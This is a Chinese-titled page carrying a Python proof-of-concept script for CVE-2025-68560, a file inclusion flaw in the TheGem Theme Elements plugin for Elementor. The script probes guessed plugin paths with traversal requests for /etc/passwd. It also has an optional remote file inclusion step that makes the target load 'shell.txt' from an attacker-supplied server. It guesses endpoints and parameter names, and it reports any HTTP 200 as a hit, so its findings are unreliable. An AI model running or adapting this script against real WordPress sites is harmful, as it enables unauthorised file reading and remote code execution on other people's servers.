CVE-2025-68560 TheGem Theme Elements 远程文件包含漏洞

# CVE-2025-68560 PoC - TheGem Theme Elements Local File Inclusion / Remote File Inclusion # Affected: TheGem Theme Elements (for Elementor) <= 5.10.5.1 # Type: PHP Remote File Inclusion import requests import sys def check_vulnerability(target_url): """Check if target is vulnerable to CVE-2025-68560""" # Common vulnerable endpoints in TheGem Elements vulnerable_paths = [ '/wp-content/plugins/thegem-elements-elementor/templates/', '/wp-content/plugins/thegem-elements-elementor/includes/', '/wp-content/plugins/thegem-elements-elementor/' ] # Test parameters commonly used in file inclusion test_params = ['file', 'template', 'page', 'view', 'action', 'controller'] for path in vulnerable_paths: for param in test_params: # Try local file inclusion test test_url = f"{target_url}{path}?{param}=../../../../../../etc/passwd" try: response = requests.get(test_url, timeout=10) # Check for LFI indicators if 'root:' in response.text or 'daemon:' in response.text: print(f"[+] LFI Vulnerable: {test_url}") return True except requests.RequestException: pass # Try RFI test (if allow_url_include is enabled) if len(sys.argv) > 2: attacker_server = sys.argv[2] rfi_url = f"{target_url}{vulnerable_paths[0]}?{test_params[0]}={attacker_server}/shell.txt" try: response = requests.get(rfi_url, timeout=10) if response.status_code == 200: print(f"[+] RFI Test Sent: {rfi_url}") return True except requests.RequestException: pass return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-68560_poc.py <target_url> [attacker_server]") print("Example: python cve-2025-68560_poc.py http://target.com") sys.exit(1) target = sys.argv[1] print(f"[*] Scanning {target} for CVE-2025-68560...") if check_vulnerability(target): print("[+] Target appears to be vulnerable!") else: print("[-] Target does not appear to be vulnerable or is already patched.")